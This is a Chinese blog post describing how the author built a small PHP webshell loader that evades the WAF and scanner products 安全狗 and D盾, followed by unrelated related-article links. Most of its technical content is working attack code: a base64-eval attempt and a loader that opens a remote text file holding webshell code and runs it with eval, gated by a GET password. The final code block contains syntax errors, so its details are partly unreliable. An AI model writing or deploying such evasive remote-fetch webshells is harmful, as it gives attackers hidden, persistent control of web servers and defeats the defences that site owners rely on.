在之前sky666提到了关于大马被waf拦的问题,我决定手动去过一下bypass。可是发现怎么也过不去查杀,更别说拦截了。对此无奈,只好花了个通宵去处理一下。顺便一提,理论过所有Waf,并且被杀只需要稍微处理一下依旧可用。

Prat 1 目录

一:base64编码,处理eval函数进行绕过(失败)
二:巧妙利用fopen函数绕过waf
三:fopen函数处理eval拦截问题
四:对此次一次总结

Prat 2

起源base64编码,处理eval函数进行绕过(失败)

之前一份大马中,发现进行base64编码过后,查杀的是已知后门,而不是查杀某个函数
于是决定开端先处理一下eval看看能不能进行绕过

eval直接执行base64解码

可以成功执行,但是被D盾报4级,这样肯定是不行的

base64编码思路宣告失败

发现D盾似乎对base64_decode()函数独有情钟- -#
不管怎么处理只能处理到二级,安全狗倒是已经过去了

<?php
$a = 'base64编码过后';
$c = base64_decode($a);
eval($d = $c);
?>

Prat 3 失落

巧妙利用fopen函数绕过waf

发现base64思路惨败D盾过后,抽了支烟,说了一句D盾你个禽兽
不过失败是成功他亲爹,只好继续想新思路。
之前写过一篇水文,叫做隐藏在黑页下的大马
不过被挺多人喷的,其实这篇文章只是另外一种思路的铺垫,不过因为没人支持,也就没有写下去了。
这篇文章中用了php_curl函数,不过利用门槛比较高,于是查了一下等价函数。
首先我们来看一下fopen函数
fopen() //fopen()函数打开文件或者 URL。

思路

通过fopen打开远程url的txt文件存入一个变量中,在执行。
说干就干,首先把一份大马去掉<?以及?>
然后存入一个txt中,确保打开的时候能打开。
可能这里就有人问了,txt放哪里?
这里我只想说,心里没点B数?

大马地址:http://127.0.0.1/bh/test.txt

举个例子:

<?php
$handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content1 = '';
                while(false != ($a1 = fread($handle1, 8080))){
                        $content1 .= $a1;
                        }
                        echo $content1;
                fclose($handle1);
?>

发现已经获取成功了,那么我们只需要eval执行一下就可以了

<?php
$handle1 = fopen('http://127.0.0.1/bh/test.txt', 'r');
$content1 = '';
                while(false != ($a1 = fread($handle1, 8080))){
                        $content1 .= $a1;
                        }
                        eval($content1);
                fclose($handle1);
?>

首先看一下安全狗是否拦截

大马地址:http://192.168.1.110/bh/test.txt
webshell地址:192.168.1.104/test/php.php

ok,可以看见安全狗以及绕过了,并且可以正常使用
补一张没做过处理大马访问图

不过问题来了,D盾报一级拦截,我顿时想说mmp。

之前处理一句话的时候,也是经常报我一级- -#
继续抽了支烟,然后继续处理这个错误

Prat 4 希望

fopen函数处理eval拦截问题这里没什么思路完全是因为bypass小分队的大佬帮我处理的。

贴一下最后成品代码

<?php
error_reporting(E_ERROR);
if(isset(isset($_GET['submit']) && $_GET['pass'] == "admin"){
        if($_POST[$_GET['test'] == "test"){
                $handle1 = fopen('http://127.0.0.1/bh/test2.txt', 'r');
                $content1 = '';
                while(false != ($a1 = fread($handle1, 8080))){
                        $content1 .= $a1;
                        }
                        print(eval($a1=$content1));
                fclose($handle1);
        }
        $handle = fopen('http://127.0.0.1/bh/test.txt', 'r');
    $content = '';
    while(false != ($a = fread($handle, 8080))){
        $content .= $a;
    }
                print(eval($a=$content));
fclose($handle);
}
?>

一句话地址:http://127.0.0.1/bh/test2.txt
webshell地址:http://127.0.0.1/bh/test.txt

说一下代码

if(isset($_GET['submit']) && $_GET['pass'] == "admin")

这一部分是验证部分,但是懒得写好看的登陆口,直接获取了下GET传值做判断,为了防爆破多写了一个

if($_POST[$_GET['test'] == "test")

这一部分是用来进入一句话的,当然你也可以删掉

再来说说处理eval一级,其实很简单,我也是bypass小分队老司机说了才知道的~~~

eval($a1=$content1);

看这一行代码,相信大家就已经知道了。

Prat 5 总结

前人失效的思路不代表着没有继续扩展的意义。
多想多做多实战,发现其实waf也就那回事。
无非就是在原有的基础上加了几行代码。

打造一款1kb大马并且处理D盾以及安全狗拦截与查杀的更多相关文章

  1. 【ASP.NET程序员福利】打造一款人见人爱的ORM(一)

          “很多人都不太认可以第三方ORM,因为考虑的点不够全面,没有大用户群体的ORM有保证,这点是不可否认确是事实.但是往往用户群体大的ORM又有不足之处,今天我们就来聊聊关于ORM的话题,打造 ...

  2. 【ASP.NET程序员福利】打造一款人见人爱的ORM(二)

    上一篇我已经给大家介绍AntORM的框架[ASP.NET程序员福利]打造一款人见人爱的ORM(一),今天就来着重介绍一下如何使用这套框架 1>AntORM 所有成员 如果你只想操作一种数据库,可 ...

  3. 打造一款属于自己的web服务器——开篇

    JVM总结慢慢来吧,先插播一篇水文,来介绍下最近业余一直在写的一个小项目——easy-httpserver(github).适合新手学习,大神们路过即可^_^. 一.这是个什么玩意? easy-htt ...

  4. 如何打造一款五星级的 APP ?

    移动互联网大潮来袭!据统计,2015 年平均每天有 1000 个新的应用上架,而这些应用的现状可以说是鱼龙混杂,同是每个人的眼光.品味.意识和利益都不同,因此每人眼中的应用也是不同的.在巨大的市场竞争 ...

  5. jquery+css3打造一款ajax分页插件

    原文:[原创]jquery+css3打造一款ajax分页插件 最近公司的项目将好多分页改成了ajax的前台分页以前写的分页插件就不好用了,遂重写一个 支持IE6+,但没有动画效果如果没有硬需求,个人认 ...

  6. Notepad++给自己打造一款PowerQuery M语言编辑器【转】

    Excel 使用Notepad++给自己打造一款PowerQuery M语言编辑器 Excel 使用Notepad++给自己打造一款PowerQuery M语言编辑器-Power BI-ExcelHo ...

  7. 基于VueJS的render渲染函数结合自定义组件打造一款非常强大的IView 的Table

    基于VueJS的render渲染函数结合自定义组件打造一款非常强大的IView 的Table https://segmentfault.com/a/1190000015970367

  8. 使用Python打造一款间谍程序

    知识点 这次我们使用python来打造一款间谍程序 程序中会用到许多知识点,大致分为四块 win32API  此处可以在MSDN上查看 Python基础重点在cpytes库的使用,使用方法请点击此处 ...

  9. 打造一款 刷Java 知识的小程序(二)

    学习Java的神器已上线,面向广大Java爱好者! 之前写的一篇:打造一款 刷Java 知识的小程序(一) 一.第二版做了什么? 第一版小程序只具有初级展示功能,知识点都是hardcode在代码里面的 ...

随机推荐

  1. 3D数学基础 KeyNote 1

    [计算几何复习要点] 1.向量加法的几何含意: a+b的释意为:a的尾连上b的头,新建一条从a的尾指向b的头的向量. 2.向量减法的几何含意: a-b的释意为:尾部相连,新建一个从b的头指向a的头的向 ...

  2. java基础知识汇总(持续更新中....)

    1.java四大特性:抽象.继承.封装,多态 构造函数: http://blog.csdn.net/qq_33642117/article/details/51909346 2.java数据基本类型: ...

  3. nginx内置变量详解-乾颐堂

    nginx的配置文件中可以使用的内置变量以美元符$开始,也有人叫全局变量.其中,部分预定义的变量的值是可以改变的. $arg_PARAMETER 这个变量值为:GET请求中变量名PARAMETER参数 ...

  4. SQL游标 数据库编程样例

    --处理file与folder中的order -- 声明变量 DECLARE @fileid AS INT, @folderid AS INT, @order AS INT, @oldFolderId ...

  5. Ubuntu下安装配置ScrumWorks

    1) 安装JDK6 Ubuntu默认的是OpenJDK,而ScrumWorks不支持使用OpenJDK哦,一次必须装个Oracle的JDK6   2) 下载安装Mysql5 http://dev.my ...

  6. maven环境快速搭建(转)

    出处:http://www.cnblogs.com/fnng/archive/2011/12/02/2272610.html 最近,开发中要用到maven,所以对maven进行了简单的学习.因为有个m ...

  7. Yii项目开发总结

    学习Yii很久了,一直做的是小案例,自以为学的还不错.直到最近用Yii开发了一个非常简单的CMS,一路下来,磕磕绊绊,才知自己不足.加上最近正学习着偏架构方面的知识.特此总结一下.小白经验,大神轻拍, ...

  8. css 字体上下居中显示 解决安卓手机line-height的偏差

      1.字体左右居中显示 text-align: center   <div class="font"> 上下居中 </div> .font{ width: ...

  9. static在C和C++里各代表什么含义

    转自:http://blog.csdn.net/wanglongfei_hust/article/details/10011503 static关键字有三种使用方式,其中前两种只指在C语言中使用,第三 ...

  10. .NET基础 (03)生成、部署和管理

    生成.部署和管理1 如何生成强签名的程序集2 如何把程序集放入GAC中3 延迟签名及其作用4 程序集的版本分哪几部分 1 如何生成强签名的程序集在生成程序集时,CLR提供了两种可选类型:强签名程序集. ...